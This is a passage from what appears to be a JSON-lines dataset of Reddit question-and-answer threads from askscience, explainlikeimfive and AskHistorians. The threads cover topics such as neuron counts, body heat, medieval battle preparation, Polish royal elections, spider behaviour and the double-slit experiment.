pieces of evidence available in the literature suggest that synaptic density is constant across species \n\n > What needs to be considered is that the human cognitive advantage over other animals may reside simply in the total number of brain neurons (28, 63), and this may be the consequence of humans being primates and, among these, the species with the largest brain\n\n > For instance, the human brain has about sevenfold more neurons than the 12 billion neurons that a hypothetical rodent brain of 1.5 kg would be expected to have, according to the neuronal scaling rules that apply to rodent brains\n\n >  Hypothetically, if cetacean brains scaled similar to primate brains [which is unlikely, given their steep decrease in neuronal density with increasing brain size (1)], a whale brain of 3.65 kg would be predicted to have a whopping 212 billion neurons. In contrast, if cetacean brains scaled similar to rodent brains [which is a more likely scenario, given the very low neuronal densities in cetacean and elephant brains (1)], that same brain would only hold about 21 billion neurons, which is fewer than the 28 and 33 billion neurons that we have predicted for the chimpanzee and gorilla brains, respectively (28, 62).\n\n\n**TLDR**\n\nHumans probably have more neurons than any other species, even whales, due to higher neural density found in primates as compared to other animals.  Synaptic density appears to be constant, so number of connections is probably constant relative to number of neurons, and Humans probably top the list there too."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.pnas.org/content/109/suppl.1/10661.short"]]}
{"q_id": "lqb2w", "title": "What is our body's main functioning \"radiator\"?", "selftext": "So I understand that the main source of heat is just our general metabolism (glycolysis and all that good business), but when it comes to maintaining homeostasis is this just happening in all non-specialized cells? Is it happening mainly in fat storage? Forgive me if this is trivial but it's pretty damn cold here :P.  \n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/lqb2w/what_is_our_bodys_main_functioning_radiator/", "answers": {"a_id": ["c2ur2s5", "c2ura4u", "c2usi7m", "c2uvxwf", "c2ur2s5", "c2ura4u", "c2usi7m", "c2uvxwf"], "score": [4, 7, 2, 2, 4, 7, 2, 2], "text": ["Wouldn't it be the skin that dissipates most of the body's heat through evaporatioin?", "I always understood the liver as one of the main heat engines. I would also wager the stomach has a significant contribution. I'm sure you would know more than I what goes on in these organs. \n\n > As in other mammals, thermoregulation is an important aspect of human homeostasis. Most body heat is generated in the deep organs, especially the liver, brain, and heart, and in contraction of skeletal muscles.[7][not in citation given (See discussion.)]\n\n_URL_0_", "The actual mechanism in the cells is use of oxidizing substrates (NADH, FADH) across the inner mitochondrial membrane to create heat instead of a proton motive force. This process only occurs in in brown adipose (fat) tissue. In most other tissue types this process usually results in the creation of a proton gradient, which then drives ATP synthase to create ATP from ADP. ATP is the bodies main energy \"currency\".\n\nShivering is a whole different story, as noted on this wiki page:\n\n_URL_1_\n\nCrossed referenced with [this](_URL_0_).", "I have a related question:\n\nMy girlfriend is always too cold. I'm always too warm. I'm fairly certain that half the reason she likes me so much is that I serve as \"her personal furnace.\"\n\nWhy is this? Even when it's freezing outside, a small amount of exertion will cause me to overheat (and I'm in shape, so it's not that). It makes me miserable in hot, muggy climates because I can never cool down.\n\nIs this just circulation? Do I just have \"efficient\" or \"hot\" circulation? ", "Wouldn't it be the skin that dissipates most of the body's heat through evaporatioin?", "I always understood the liver as one of the main heat engines. I would also wager the stomach has a significant contribution. I'm sure you would know more than I what goes on in these organs. \n\n > As in other mammals, thermoregulation is an important aspect of human homeostasis. Most body heat is generated in the deep organs, especially the liver, brain, and heart, and in contraction of skeletal muscles.[7][not in citation given (See discussion.)]\n\n_URL_0_", "The actual mechanism in the cells is use of oxidizing substrates (NADH, FADH) across the inner mitochondrial membrane to create heat instead of a proton motive force. This process only occurs in in brown adipose (fat) tissue. In most other tissue types this process usually results in the creation of a proton gradient, which then drives ATP synthase to create ATP from ADP. ATP is the bodies main energy \"currency\".\n\nShivering is a whole different story, as noted on this wiki page:\n\n_URL_1_\n\nCrossed referenced with [this](_URL_0_).", "I have a related question:\n\nMy girlfriend is always too cold. I'm always too warm. I'm fairly certain that half the reason she likes me so much is that I serve as \"her personal furnace.\"\n\nWhy is this? Even when it's freezing outside, a small amount of exertion will cause me to overheat (and I'm in shape, so it's not that). It makes me miserable in hot, muggy climates because I can never cool down.\n\nIs this just circulation? Do I just have \"efficient\" or \"hot\" circulation? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Thermoregulation"], ["http://books.google.com/books?id=b7Dc9bOs9uAC&amp;printsec=frontcover&amp;dq=inauthor:%22N.+V.+Bhagavan%22&amp;hl=en&amp;ei=k8qoTvrrMeneiAKumOS1Bg&amp;sa=X&amp;oi=book_result&amp;ct=result&amp;resnum=1&amp;ved=0CC4Q6AEwAA#v=onepage&amp;q=brown%20adipose%20tissue%20nonshivering%20thermogenesis%20heat%20mitochondrial&amp;f=false", "http://en.wikipedia.org/wiki/Thermogenesis#Non-shivering_thermogenesis"], [], [], ["http://en.wikipedia.org/wiki/Thermoregulation"], ["http://books.google.com/books?id=b7Dc9bOs9uAC&amp;printsec=frontcover&amp;dq=inauthor:%22N.+V.+Bhagavan%22&amp;hl=en&amp;ei=k8qoTvrrMeneiAKumOS1Bg&amp;sa=X&amp;oi=book_result&amp;ct=result&amp;resnum=1&amp;ved=0CC4Q6AEwAA#v=onepage&amp;q=brown%20adipose%20tissue%20nonshivering%20thermogenesis%20heat%20mitochondrial&amp;f=false", "http://en.wikipedia.org/wiki/Thermogenesis#Non-shivering_thermogenesis"], []]}
{"q_id": "2mahgy", "title": "how do \"quick change\" acts in magic shows work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2mahgy/eli5how_do_quick_change_acts_in_magic_shows_work/", "answers": {"a_id": ["cm2fzgd", "cm2s182"], "score": [15, 5], "text": ["They start out with several layers of clothing that can be taken off or transformed quickly (like with velcro straps)", "Magnets and Velcro are your best friends in those situations.  \nSingle outfits are layered and pulled down or up at the waist. Things can also be pulled off to reveal other outfits underneath. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "528hfm", "title": "Do the points where a curve function and its derivative intersect hold some significance?", "selftext": "We're doing calculus in school now. And I was wondering whether the points where y = y' are used in science, engineering or some field? Are they called something? I was wondering when I graphed a cube function and its derivative [like this](_URL_0_).", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/528hfm/do_the_points_where_a_curve_function_and_its/", "answers": {"a_id": ["d7iblag", "d7ibwvb", "d7ic0t0", "d7ixajk"], "score": [132, 2, 13, 7], "text": ["Not in general.  If you think about this problem \"backwards\", it becomes more clear.\n\nRemember that if we have some function f(x), it has a unique derivative f'(x).  But, if we start with f'(x), then it *doesn't* have a unique antiderivative.  It's only unique up to vertical translation (or, algebraicly, up to addition of a constant).  So, if we graph the derivative (the unique one) first, we can shift around the original function however we want, particularly we can make it intersect the derivative in any particular point that we want it to.\n\nAs an example, let f(x) = x^(3)+2x-1.  The derivative of this is f'(x) = 3x^(2)+2.  Now, lets say we want them to intersect at x = 3.  We have that f'(3) = 29.  But, we have that f(3) = 32.  Here, we notice that a general antiderivative of this looks like F(x) = (x^(3)+2x-1)+c (where c is any constant) is a function such that F'(x) = f'(x) for any c we choose.  Moreover, if we set c = -3, then we get that F(3) = f'(3) = 29.\n\nSo, for any derivative f'(x), we can always specify one point where this will happen and then construct the antiderivative F(x) such that this is true.  If this happens for *all* points on a function, we do get something interesting.  If some function y fulfills the differential equation y' = y, then we have that y = Ce^(x) is the exponential function.  This is used rather widely in applications.", "I believe not. But in physics, for example, we are much more interested in finding functions in that manner, rather than points. Let me explain:\n\nWhat you have written, y' = y, is usually interpreted as differential equation for function y. Therefore, you are trying to find function y where all points satisfy y=y'. This is simple differential equation and it is obvious that y = Ae^x, where A is arbitrary constant. In physics, everything is about harmonic oscillator(mass on a spring). Spring exerts force proportional to displacement from equilibrium towards it: \n\nF = - kx\n\nSecond Newton's law:\n\nmx'' = -kx\n\nRewriting this with w^2 = k/m you have:\n\nx'' + w^2 x = 0\n\nSince this is second order differential equation(because of second derivative) you have to have two arbitrary constants. It is fairly easy to see that x(t) can be written as:\n\nx(t)= A*sin(wt + phi)\n\nWhere w is frequency, A is amplitude of oscillation , and phi is phase angle. Former two constants are calculated from initial conditions, and first is given by the mass of oscillating body and spring constant.\n\nNow you know displacement of your body on string in time. And that's it! You know everything you have to know about your system. Deriving you can calculate velocity in time and deriving once again acceleration.", "This won't usually be significant because the derivative has different units than the function, and then the functions aren't really equal at that point, because the crossing point depends on the scaling of the y axis. For example, position and velocity are never equal because 5 meters is not comparable to 5 meters per second, and it's slightly misleading to use the same y axis for both functions. ", "It is actually significant in some contexts, especially when both are zero. For example, if f(x) is a polynomial so that f(a)=f'(a)=0, then this means that (x-a)^(2) is a factor of f(x). For instance, if f(x)=x^(3)-2x^(2)+x then f'(x)=3x^(2)-4x+1 and we get that f(1)=f'(1)=0, and we can factor f(x) as f(x)=x(x-1)^(2).\n\nOne way this is important in Number Theory because, like numbers, we like to factor polynomials into \"prime\" polynomials and if a polynomial does this, then we know automatically that it is not a \"prime\" polynomial. Over more exotic number systems (finite ones), though, you can have polynomials with this property that are prime and this leads to some exotic behavior for them.\n\nThis kind of thing has consequences for Analytic Functions (functions that equal their own Taylor series) too. If f(x) is an analytic function and f(a)=f'(a)=...=f^(n)(a)=0, then this means that the very first term in the Taylor series of f(x) at x=a is going to be the n+1st term. In particular, we can make the function F(x)=f(x)/(x-a)^(n), and we'll get that F(a) is nonzero and not infinity either, and is equal to it's first Taylor coefficient. This kind of thing is very important in Complex Analysis.\n\nSo while a function happening to equal it's derivative is largely coincidental, we can still take advantage of it in certain contexts."]}, "title_urls": [], "selftext_urls": ["http://imgur.com/a/rTs8e"], "answers_urls": [[], [], [], []]}
{"q_id": "11ddyn", "title": "What happens after I pour a beer?", "selftext": "If I pour a beer straight into a glass, I get about an inch of liquid to 6 inches of foam. Quickly, the foam subsides and the level of liquid rises. Is the gas being primarily absorbed back into the beer, or is it primarily escaping into the environment? Thanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/11ddyn/what_happens_after_i_pour_a_beer/", "answers": {"a_id": ["c6lgqtq", "c6lgwbe"], "score": [4, 2], "text": ["The gas is escaping. The reason the liquid portion goes up is a lot of liquid was trapped in between the foam bubbles. As the bubbles pop, that liquid drops down to join the rest.", "The gas is primarily escaping. The more detailed answer is that there is a dynamic equilibrium between the gas (CO2) dissolved in the liquid and the gas in the atmosphere. The concentration of gas dissolved is given by Henry's law as p=k*c, where p is the partial pressure of CO2 in the atmosphere, k is a constant, and c is the concentration of gas dissolved. Suffice it to say that under equilibrium conditions the concentration you would find dissolved is much much smaller than what is originally found in the beer (it's essentially the same concentration as in uncarbonated water), so on average the gas will continuously escape after opening a bottle. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "74w08y", "title": "Did knights or other medieval armies stretch, or otherwise \"warm up\" before a battle?", "selftext": "I imagine wearing armor and swinging weapons would have led to a lot of injuries on their own.  Did any of the old warriors have a warm up they did to solve those issues?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/74w08y/did_knights_or_other_medieval_armies_stretch_or/", "answers": {"a_id": ["do24ryt", "do2bgdk"], "score": [746, 323], "text": ["Congratulations on asking a fascinating question that never ever crossed my mind. I hope it gets answered. Follow up: did medieval armies train during peacetime (or wartime I suppose)? Pick up heavy rocks or jog around the courtyard? Things like that. ", "I won't be able to provide much detail on Medieval Knights specifically, although I am able to go into some detail of battle preparations of 10th and 11th century Byzantine Roman armies, as well as their late antique predecessors. \n\nA quick preface, I almost didn't answer this as I am in the middle of a move and most of my books are in boxes a few towns over (long story) but this hasn't been answered so I'll do my best with the sources I do have access to along with memory. \n\nByzantine Roman armies of the Middle Ages and also the Late Antique period were, in general, trained professional soldiers (Tagmata) serving for extended periods of time across multiple years and campaigns. There were more basic soldiers/levies (Themata) mixed in but in a general sense we have a group of career warriors well versed in all aspects of warfare. The reason this is important is we're talking about a serious fighting force, using the latest tactics, training, and technology of the times. \n\nOur sources makes it exceedingly clear that a pitched battle (i.e. two armies lined up opposing one another in a direct engagement) is incredibly risky and should only be attempted if a positive outcome is almost assured. The Emperor Nikephoros Phokas of the 10th century provides a comprehensive account of a general's approach to battle:\n >  It is imperative first to find out the number of the enemy host and above all what kind of equipment they have, by means of spies, deserters, and prisoners. If the enemy force far outnumbers our own both in cavalry and infantry, avoid a general engagement or close combats and strive to injure the enemy with stratagems and ambushes. The time to seek general engagements with the enemy is when, with the help of God, the enemy has fled once, twice, or three time and are crippled with and fearful, while on the other hand our host is obviously confident and their thoughts of valor have been awakened. Avoid not only an enemy force of superior strength but also one of equal strength, until the might and power of God restore and fortify the oppressed hearts and souls of our host and their resolve with His might hand and power. And when this love and compassion of God is stirred by the intercession of the all-celebrated Mother of God, when She secures Her people's victory for the third time, from that moment on they need not flinch or recoil in fear, be the enemy twice the number of our host.\n\nNikephoros will not engage an equal or larger enemy but avoid confrontation, ambushing and harassing, until the most opportune time. \n\nTo quote an earlier, 6th century source we can see this approach to pitched battles is largely the same:\n >  Warfare is like hunting. Wild animals are taken by scouting, by nets, by lying in wait, by stalking, by circling around, and by other such stratagems rather than by sheer force. In waging war we should proceed in the same way, whether the enemy be many or few. To try to simply overpower the enemy in the open, hand in hand and face to face, even though you may appear to win, is an enterprise which is very risky and can result in serious harm. Apart from extreme emergency, it is ridiculous to try to gain a victory which is so costly and bring only empty glory.\n\nMy point here is the pitched battles, where both sides know there's going to be a fight at a certain time were quite rare in the Late Antique and into the Medieval periods. Small scale engagements were much more common, and in fact, small scale engagements were often the unexpected catalyst to larger battles. Often scouting or advance parties skirmishing and then escalating into a general battle. In such a situation, the larger army could be required to act immediately, with little time to prepare (including stretching and warming up). \n\nNow that we've gone over the infrequency of pitched battles we can go into some further detail on how Byzantine Roman forces prepared for them when they did occur. \n\nThe 10th century text of the Praecepta militaria by Nikephoros Phokas, goes into some detail of the days coming up to battle although not much directly proceeding the battle. In preparation the soldiers are to begin a three-day purification through prayer, fasting and reconciliation. While some of the prayers are specifically quoted in the text, Phokas does not go into much detail on exactly what he means by a fast. It seems unlikely that any fighting force would be combat ready after three days of no food and little water but we simply don't know more. It was also important that the three days were spent in camp, with a spiritual focus. It is important that the men do not overexert themselves at this key time. \n\nNot overexerting the troops coming up to a battle is actually a recurring theme all the way back to a 4th/early 5th century source, De re militari by Vegetius, and also the 6th century source, Strategikon by Maurice. \n\nDe re militari is actually a bit controversial for it's view on how the Romans, the subject of the work, actually fought. However, in the context of this question, it is highly relevant as De re Militari was commonly read by commanders of the Middle Ages. Vegetius comments on the importance of keeping the troops fresh:\n >  Troops must never be engaged in a general action immediately after a long march, when the men are fatigued and the horses tired. The strength required for action is spent in the toil of the march. What can a soldier do who charges when out of breath? The ancients carefully avoided this inconvenience, but in later times some of our Roman generals, to say nothing more, have lost their armies by unskillfully neglecting this precaution. Two armies, one tired and spent, the other fresh and in full vigor, are by no means an equal match.\n\nAgain, emphasis here is on keeping troops rested and energetic, anything that could be seen as a warmup by modern standards could be interpreted as \"neglecting this precaution\" in the words of Vegetius. \n\nThe other early source, Strategikon, predates the period we're discussing but I think it's views are still very relevant to how Iron Age armies fought. It is also a useful source for it's detail, including (literally) \"points which the general must consider before the day of battle\" and \"points to be observed on the day of battle\". There is a lot of interesting information here, Maurice goes through the process of inspiring the troops, organizing squads, delivering orders, gathering intelligence, maintaining the army, but no where is the physical process of preparing the soldiers bodies for exertion mentioned. There is great care to ensure the army and horses are properly provisioned and watered but as for training or warmups leading up to the battle? Nothing. \n\nInterestingly, Maurice specifically describes how the general must take care to not wear themselves out:\n >  On the actual day of battle the general should not take on too many tasks. He might exert himself too much, become worn out, and overlook some really essential matters. He should not look downcast or worried but should ride jauntily along the lines and encourage all the troops. \n\nLater on he echoes a similar sentiment for the army as a whole:\n >  On the day of battle make sure not to march the infantry battle line a long distance, no more than two miles away from the camp, so they do not become worn out by the weight of their armor. If the enemy delays the battle, have the men sit down and rest until they are about to get close. If the weather is hot, let them take off their helmets and get some air. On such occasion they must not carry wine with them, for it will only make them warm and dull their minds. Water, however, should be carried in the wagons and given to each individual who needs it as they remain in formation. \n\nTo wrap this up, in a sentence: I can't find any evidence the medieval or earlier armies warmed up before battle. In fact quite the opposite, there was intense care taken to ensure men and horses were as fresh as possible when the fighting started. That being said, just getting from camp, to the battle line, to combat, could take hours (even all day) and cover several miles. In this case the men would be warmed up most likely, but this wasn't something the commanders of the time specifically thought about. \n\n**Sources:**\n\n*Praecepta militaria* Nikephoros II Phokas\n\n*Taktika* Nikephoros Ouranos\n\n*De re militari* Vegetius\n\n*Strategikon* Maurice Tiberius\n\nedit for formatting"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3re7c6", "title": "how does eliminating zero calorie beverages from your diet help you lose weight?", "selftext": "I always see nutrition experts talk about cutting out diet sodas to help lose weight.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3re7c6/eli5_how_does_eliminating_zero_calorie_beverages/", "answers": {"a_id": ["cwn8wbi", "cwnjnp0"], "score": [6, 2], "text": ["I believe it has to do with the brain psychology. When you drink those diet sodas, you trick your brain into expecting your blood sugar to rise but when it doesn't actually happen it freaks out and signals the body to **eat more** food. So I believe it's more of a controlling your cravings/hunger that helps you lose weight.", "Correlation is not causation.\n\nDiet soda has no calories, so consuming it over normal soda will not make you fat. The opposite is true.\n\nHowever, when looked at the aggregate of those who drink diet soda vs those who just drink water, people who drink diet soda are often fatter because their general diets are far worse than those who drink water.\n\nIf you have self-control and can keep a good eye on what you eat, and make sure your diet is solid, you should be able to drink diet soda with no ill effects towards your weight (as to your overall health that's debatable). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9spl00", "title": "In Polish-Lithuanian Commonwealth all nobility could vote to elect king. That means tens to hundreds of thousand had right to vote. How did free elections look like and how were they organised?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9spl00/in_polishlithuanian_commonwealth_all_nobility/", "answers": {"a_id": ["e8r1lu6"], "score": [24], "text": ["The nobility of the Polish-Lithuanian commonwealth did indeed elect their kings and many thousands of nobles would have been eligible to vote in the election. Anna Grze\u015bkowiak-Krwawicz estimates that the noble estate constituted approximately 6-8% of all the inhabitants of Polish and Lithuanian lands--a percentage much higher than the noble estates of other European countries like France. \n\nIn the eighteenth century, faced with a political crisis and burdened by a political system that had not developed modern representative bodies like other Western European nations, several political reformists commented on the oddity of this practice. Jean-Jacques Rousseau, for one, wrote a lengthy proposal to streamline the legislative and electoral institutions of Poland.  Willmoore Kendall's introduction to Rousseau's *The Government of Poland* gives some idea of the unwieldy nature of the election assembly or sejm:\n\n > By long established custom *the Poles elected their kings.* Moreover, since on the face of it the choice of a new king, upon the death of his predecessor, did not lend itself to *imperative mandates,* the Polish nobles refused to entrust the king's election to the Diet. Rather\u2026they insisted upon being present in the flesh at the elections and casting their votes personally\u2026The mind boggles as it attempts to conjure up the spectacle: *several hundred thousand* electors, each with a vote that, again by immemorial custom, was as 'good' as that of every other man, assembled in one place\u2026\n\nAs anyone among the nobility could be elected and they counted their attendance among their \"rights and liberties\" huge numbers would have been present.  Jacek J\u0119druch estimates it at anywhere between 10,000-100,000. The voting along could take several days and to accommodate the huge crowd sizes typically met in Wola, near Warsaw.  The process could also be incredibly contentious and in some instances the election of non-Polish monarchs made it prone to outside influence and led to instability. For instance, in 1573, the Polish nobles elected the future Henri III of France to serve as its king over the objections of the Lithuanian nobles. However, only two years later, when Henri unexpectedly inherited the throne of France, he resigned, provoking a constitutional crisis in Poland. If you are interested in what the sejm looked like visually, there are also several artistic representations of the assembly that elected Henri III.\n\nBy the late eighteenth century, numerous authors recommended that Poland do away with the free election and adopt a hereditary monarchy so as to remedy the inefficiencies of this system. Rousseau actually advocated the opposite and recommended that the nobility instead expand enfranchisement. Either way, the Constitution of 1791 did away with the election and established a constitutional monarchy, before Poland fell subject to Russian invasion shortly thereafter. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4uve7c", "title": "Does fire cause drag?", "selftext": "If I prepared two arrows identically and lit one on fire, and not the other, then fired them from the same bow at the same inclination, would the unlit arrow travel further? I imagine that the hot air flowing overthrow rest of the arrow length and fletching would have some effect, but is it significant and positive or negative? Or is there any other effect caused by the flames themselves - laminar vs turbulent flow or do the flames add to the effective surface area of the arrow as it penetrates the air? \n\nEdit: I should clarify that I'm not asking specifically about an arrow, but any two identical arbitrary objects moving through the air, one flaming and the other not. And consider that the flames themselves are significant relative to the size/mass of the object. Would a race car with a huge engine fire coming out the back experience more drag than not - would a flaming piece of debris falling from the sky fall slower than an identical piece that was not alight?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4uve7c/does_fire_cause_drag/", "answers": {"a_id": ["d5tqsng"], "score": [19], "text": ["This is a very interesting question dealing with some pretty goddamn complex fluid mechanics, but hopefully I can at least give some insight.\n\n > I imagine that the hot air flowing overthrow rest of the arrow length and fletching would have some effect, but is it significant and positive or negative?\n\nHot air is less dense than cool air, and drag is directly proportional to density of the fluid. So from that perspective, drag would be lowered. However...\n\n > Or is there any other effect caused by the flames themselves - laminar vs turbulent flow or do the flames add to the effective surface area of the arrow as it penetrates the air?\n\nThe flames themselves would considerably increase turbulence. However, this is going to depend on the flame structure and I don't have a great idea of what exactly this would look like on an arrow in flight. If the arrow were flying fast enough, the combustion region would get pushed to be a very thin region next to the arrow. Whether this is turbulent or laminar is going to depend on speed and physical scale. Weird things might also happen regarding skin friction: unlike liquids, in gasses increasing the temperature increases the viscosity, which increases skin friction; but increasing viscosity can also push something from turbulent to laminar. Again depending on the scales of things involved.\n\n\ntldr: I'm not really sure, but I should really know, and I'm going to bounce the question off some other aerodynamicists in the near future."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1bk4cs", "title": "Spider returning to the house?", "selftext": "I love spiders, other half doesn't. So any big house spiders that track across the floor get caught by me and put outside the back door.\n\nThe other day I - on a whim - put some nail polish on a spider and let it dry before I chucked it outside.\n\nThis afternoon, what did I see walking across our carpet? A spider with some remnants of nail polish on its back.\n\nDo spiders know where to return? Do they have a \"home\"? I trawled every question about spiders I could find, but could only find references to spiders surviving after being put outside.\n\nOr did the aul' spidey just go to the nearest warmth it could sense and because I only chucked it out the back door, it was logically going to come back into our house?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1bk4cs/spider_returning_to_the_house/", "answers": {"a_id": ["c97garf", "c97gsqz", "c97juyb", "c97jwuz", "c97p4di"], "score": [267, 9, 52, 102, 3], "text": ["Throw it farther, maybe. I've taken a few courses in and grown up with parents who were in the field of Animal Behavior. I've been to about 10 Animal Behavior Society meetings and seen hundreds or maybe even thousands of presentations and posters. I've never heard of spiders having any sense of \"home.\" They definitely do seek warmth and shelter, as well as places to locate themselves and their webs. The mechanism behind this I have never seen explained. Animal behavior, as a field, still has MANY gaping holes where knowledge simply does not exist. ESPECIALLY species specific. Almost everything we know about animal behavior is because of dogs, rats, primates and zebra fish. (~150 of 300 posters in a given ABS room are on one of these four groups/animals)", "_URL_0_ has a lot of interesting information on spiders, though I can't vouch in any way for the accuracy of it. Still, it does specifically address 'house spiders' and the like - _URL_0_myths/house.html", "Note: I offer this because of my experience conducting research with a graduate student in a spider research lab.  I am not a scientist, but I am credited as an assistant in published scientific journals.  If this is considered anecdotal, my apologies.\n\nMy closest friend is in a graduate program at Arizona State University studying black widow spiders.  I went out many nights to \"sites\" that she had found where widows tended to cluster to help log their behavior.  To identify them, she painted them with different colored paints similar to nail polish.  We would measure their web size, distance from each other, presence of males (dead or alive), prey, offspring, etc.  We would use crickets tied to strings to bait and trap them so we could measure, photograph, and weigh them (they were incapacitated briefly with some sort of gas).  \n\nAnyway, yes, they have \"ranges.\"  Garages, woodsheds, cinder block and wooden fences, the undersides of your lawn furniture...all covered in black widows, if you know where to look.  Spiders reap the advantages of human presence.  Ever see a spider build a web near a porch light?  It's the watering-hole of the flying insect world, and the spider the big cat waiting to pounce.  \n\nTry marking more of them!  It would be interesting to see which ones would find their ways back.   \n\n", "Most spiders you find in your house are species of spider that live in houses. If you throw it out the back door it is going to seek out the nearest place it can find with habitat that it likes that is not already occupied. All those conditions are met a few meters from where you left it.", "I loathe spiders but I have also observed this same phenomenon.  I suggest that some enterprising entomologist should study this.  In the Southeast US, we have seasonal spiders in the fall which are locally called 'writing' spiders.  Their webs are very wide and characteristic.  We had a large one which my husband relocated from a bush next to our house to the nearby forest.  Apparently, it liked the spot since it returned twice and rebuilt the same web - it was precisely the same size and had one damaged leg.  Finally he took it across the street and we were rid of it.  These darn arachnids are smart and can navigate."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.burkemuseum.org/spidermyth/", "http://www.burkemuseum.org/spidermyth/myths/house.html"], [], [], []]}
{"q_id": "33slld", "title": "Does the entropy inside of a chicken egg decrease?", "selftext": "I am under the impression that eggs are a closed system and that once it leaves a hen, the insides develop from a yolk to a chick. Doesn't this imply that the entropy inside the egg somehow decreases while it is incubating?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/33slld/does_the_entropy_inside_of_a_chicken_egg_decrease/", "answers": {"a_id": ["cqo28we", "cqo7pob", "cqoaoqa"], "score": [106, 8, 9], "text": ["The egg is not a closed system. Oxygen enters the egg which the developing embryo uses for cellular respiration. Carbon dioxide leaves the egg. Heat transfer occurs between the egg and the environment.\n\nIn addition, the egg is initially in a highly organized state containing plenty of nutrients that is burned by the chick. The burning of these nutrients causes entropy to increase.", "The assumption is that an egg without an embryo is low-order, or high entropy. I would disagree - it's a highly concentrated container of relatively few high-energy compounds. In developing the embryo, you move from this uniform population of molecules to the millions (billions?) present in the developed chick. \n\nSo, on a structural level, the egg is high-entropy, but on a chemical level, it's very low entropy. Development trades one for the other.", "No, because the egg is not a closed system; to develop and survive, it\u2019s dependant on warmth, oxygen and humidity permeating from outside."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "sz8un", "title": "Why does Strobe Light confuse us so much and impair our vision to a level close to blindness?", "selftext": "Side question: Why dont all cops get strobe lightning for theire guns like in Kickass to confuse and daze criminals to arrest them easier?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/sz8un/why_does_strobe_light_confuse_us_so_much_and/", "answers": {"a_id": ["c4i9y79", "c4ib4tt"], "score": [3, 2], "text": ["Your pupils need time to adjust to bright and dark light, which is why the initial pulse of a strobe tends have a blinding effect: Your pupils were dilated (wide open) to absorb as much light as possible in the previously dark area, and are now flooded with extremely bright light, temporarily blinding you.\n\nYou will also notice that prolonged exposure to sufficiently fast strobe light will not have this effect: The bright pulses prevent your pupils from opening fully again, and you will see a familiar (though disorienting) stop-motion effect.\n\nSpeculating on your follow up -- police do use flash grenades to temporarily blind people to make arrests easier, but only in confined spaces, since the flash will blind everyone equally.", "[Flicker Vertigo](_URL_0_), which I first heard about in regards to piloting a helicopter.  Perhaps this is the cause?  Not every one suffers from it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Flicker_vertigo"]]}
{"q_id": "3cgei8", "title": "amazon day", "selftext": "And what is this prime pantry? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3cgei8/eli5_amazon_day/", "answers": {"a_id": ["csvenz5"], "score": [2], "text": ["Did you even ATTEMPT to figure this out on your own?\n\nI typed \"what is prime pantry\" into Google and I didn't even need to click a link. Google straight up tells you what Pantry is before it lists the results.\n\n_URL_0_\n\nHere's the link to the Amazon page that tells you what Pantry is all about.\n\n_URL_2_\n\nHere's the link to teach you how to place an order.\n\n_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.google.com/search?sourceid=chrome-psyapi2&amp;rlz=1C1OPRB_enUS525US526&amp;ion=1&amp;espv=2&amp;ie=UTF-8&amp;q=WHAT%20IS%20PRIME%20PANTRY&amp;oq=what%20is%20&amp;aqs=chrome.0.69i59j69i57j0l4.2183j0j4", "https://www.amazon.com/gp/help/customer/display.html/ref=hp_left_v4_sib?ie=UTF8&amp;nodeId=201505410", "https://www.amazon.com/gp/help/customer/display.html/ref=hp_left_v4_sib?ie=UTF8&amp;nodeId=201505420"]]}
{"q_id": "1l2wyq", "title": "Why do buckyballs function in the same way as elementary particles in the double slit experiment? Wouldnt the atoms being bonded together and interacting act as an observer?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1l2wyq/why_do_buckyballs_function_in_the_same_way_as/", "answers": {"a_id": ["cbvabyv", "cbvagxx"], "score": [8, 12], "text": ["Everything has a wave function, in fact a bowling ball has a wave function and as long as the slit is more narrow than the objects [de Broglie Wavelength](_URL_0_) it will show the same behavior as something like a photon in this experiment. Unfortunately the larger the object the smaller the de Broglie wavelength; so the double slit experiment will only work with a bowling ball if you manage to squeeze it through a slit about 10^-34 meters wide. ", "Everything is a quantum object under the proper conditions. Even something with internal structure like a buckyball. Even something complex like a cat. \n\nWhat proper conditions? \nComplete isolation and non-interaction with the rest of the world.\n\nBut as the object gets larger, it becomes harder to prevent it from interfering with the rest of the World. \n\nA 'quantum object' is in total isolation as it travels from the emitter to the detector, consequently its position during that interval is unknown. The double-slit experiment is another manifestation of the \"Schrodinger Cat\"-type scenario. In this case, it is the superposition of paths, where you have an entity that has a situation where it can pass through both slits (dead and alive), but when you put a detector at one of the slits, it will then pass through one OR the other (dead OR alive).\n\n[We have now done this on molecules much larger than buckyballs](_URL_0_).\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://theory.uwinnipeg.ca/physics/quant/node6.html"], 